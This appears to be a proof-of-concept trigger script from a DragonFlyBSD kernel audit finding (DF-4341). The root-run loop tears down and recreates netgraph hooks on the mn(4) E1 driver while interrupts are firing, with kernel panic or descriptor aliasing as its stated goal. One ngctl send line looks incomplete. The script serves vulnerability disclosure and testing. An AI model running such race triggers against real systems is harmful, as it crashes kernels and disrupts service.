⬢ DragonFlyBSD Kernel Audit
DF-4341 / trigger_race.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-4341 trigger: race mn_intr (RX/TX completions) against ngmn_disconnect
# and ngmn_rcvdata on the mn(4) node.
#
# REQUIRES (unavailable on the audit guest):
#   - Siemens/Infineon Easy321-R1 Munich32X+FALC54 PCI card (0x110a:2101)
#   - driver built (kernel with "device mn" or if_mn.ko) and attached -> node mn0
#   - live E1 traffic on the line (frames arriving/leaving so mn_intr fires)
#   - root (ngctl / PF_NETGRAPH control socket)
#
# Success criterion: kernel panic in mn_rx_intr/mn_tx_intr (Fatal trap 12/10),
# or duplicate-descriptor aliasing visible as simultaneous counter changes on
# two channels in `ngctl show mn0:` NGM_TEXT_STATUS output.

set -u
NODE=${1:-mn0:}
HOOK=${2:-ts2}
ITERS=${3:-2000}

# Ensure a data source: hook an echo node on the far side and blast TX at it
# is NOT possible (mn hooks push to the wire); TX data comes from the peer
# sending INTO the hook. We create a socket node pair and pump 2KB frames.
ngctl -f- <<EOF
mkpeer ${NODE} ksocket ${HOOK} inet/dgram/0
EOF

i=0
while [ $i -lt $ITERS ]; do
	# pump some frames into the hook from a userspace writer if wired;
	# even without it, RX completions from the live line keep mn_intr busy.
	ngctl send ${NODE%/} 2>/dev/null || true
	# teardown racing in-flight interrupt handling:
	ngctl rmhook ${NODE} ${HOOK} 2>/dev/null || true
	ngctl mkpeer ${NODE} ksocket ${HOOK} inet/dgram/0 2>/dev/null || true
	i=$((i+1))
done
echo "done; check console/dmesg for trap in mn_rx_intr/mn_tx_intr"
dmesg | tail -40